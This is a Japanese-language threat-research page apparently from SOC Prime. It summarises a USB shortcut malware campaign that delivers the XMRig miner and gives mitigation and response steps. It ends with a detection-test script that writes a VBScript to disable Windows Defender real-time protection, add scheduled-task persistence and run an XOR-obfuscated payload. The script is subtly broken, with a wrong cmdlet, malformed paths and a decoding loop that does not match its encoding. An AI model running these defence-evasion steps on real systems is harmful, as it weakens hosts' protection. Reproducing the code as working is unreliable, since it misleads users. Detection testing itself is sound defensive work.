SOC Prime Bias: 中程度

02 Dec 2025 17:53 UTC

DIRTYBULKと仲間たち:コインマイニング作戦を支えるUSBマルウェア

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
DIRTYBULKと仲間たち:コインマイニング作戦を支えるUSBマルウェア
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

このレポートは、仮想通貨マイニングを目的としたマルチステージマルウェアチェーンを配布するために、悪意あるショートカットファイルを活用したUSBドライブによる感染キャンペーンの詳細を記述しています。最初の実行では、偽のSystem32ディレクトリーからprintui.dllというDLLをサイドロードし、その後CUTFAILドロッパーへと引き渡し、さらにHIGHREPSというダウンローダーとPUMPBENCHというバックドアを配布します。PUMPBENCHバックドアはPostgreSQLサーバーと通信して追加のペイロードを取得し、最終的にXMRigマイナーを起動します。作戦は、Windows Defenderの除外、スケジュールタスク、および不正サービスを通じて持続性を維持します。

分析

Mandiantの研究者たちはキルチェーンを分解し、核心的な4つのマルウェアファミリー(DIRTYBULK、CUTFAIL、HIGHREPS、およびPUMPBENCH)を強調しました。彼らは攻撃者のファイル命名パターン、printui.dllのDLLサイドローディングの悪用、レジストリ変更、および関連するネットワークインジケーターを記録しました。また、スケジュールタスクやDCOMLaunchサービスグループにリンクされたサービスを含む持続化技術もマッピングしました。

緩和策

推奨される防御策には、リムーバブルメディアからのショートカットファイルの実行をブロックすること、Windows Defenderの除外を追加するコマンドを監視すること、疑わしいprintui.dllのサイドローディング活動を検出すること、およびランダムな6桁の名前を持つサービスやスケジュールタスクを探すことが含まれます。既知の悪意のあるドメインおよびDoHリゾルバに対するネットワーク制御を適用することで、コマンドアンドコントロールチャネルをさらに制限できます。

対応

検出されたら、影響を受けたホストを隔離し、悪意のあるDLLや関連コンポーネントを削除し、攻撃的なスケジュールタスクやサービスエントリーを削除し、除外をクリアすることでWindows Defenderの設定を復元してください。残余のペイロードを発見し、識別されたPostgreSQL C2インフラストラクチャへの接続を追跡するために、包括的なフォレンジックスキャンを実行してください。最後に、観察されたコマンドライン使用法やファイル作成の動作をカバーするために、検出コンテンツを更新してください。

攻撃フロー

シミュレーション実行

前提条件: テレメトリ&ベースラインプレフライトチェックがパスしていること。

理論: このセクションは、検出ルールをトリガーするための正確な敵対技術(TTP)の実行を詳細に説明します。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診を引き起こします。

  • 攻撃の概要とコマンド:

    1. ステージ1 – 悪意のあるVBScriptをドロップする侵害されたUSBドライブ上に(例: E:payload.vbs)。このスクリプトは、Add‑MpPreferenceを使用してWindows Defenderのリアルタイム保護を無効にし、XORルーチンでペイロードを暗号化し、持続性のためのスケジュールタスクを作成します。

    2. ステージ2 – スクリプトをwscript.exeを介して実行し、持続性のコマンドラインを直接渡す(ルールの共通条件を満たすため)。

    3. ステージ3 – スクリプトは内部でPowerShellを呼び出して暗号化されたペイロードを実行し、「感染チェーン」を示します。

    4. ステージ4 – 実行後、攻撃者はアーティファクトをクリーンアップします(スクリプトを削除し、スケジュールタスクを削除)。

  • 回帰テストスクリプト:

    # ------------------------------------------------------------
    # 回帰テスト – マルウェア感染チェーンのシミュレーション
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. XORで暗号化されたダミーペイロードを作成 --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. 悪意のあるVBScriptを書き込む ---------------------------------------------
    @"
    ' 悪意のあるVBScript – 感染チェーン
    Set sh = CreateObject("WScript.Shell")
    ' リアルタイム保護を無効化
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' 持続性のためのスケジュールされたタスクを作成
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' ペイロードを復号化して実行
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. wscript.exeを介してスクリプトを実行する(ルールをトリガーする) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (オプション)タスクが動作するのを確認するために数秒待つ ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # クリーンアップ – スクリプトとスケジュールタスクの削除
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • クリーンアップコマンド:

    # 残留するスケジュールタスクの削除(まだある場合)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # 残っているスクリプトファイルの削除
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # リアルタイム保護の再有効化
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"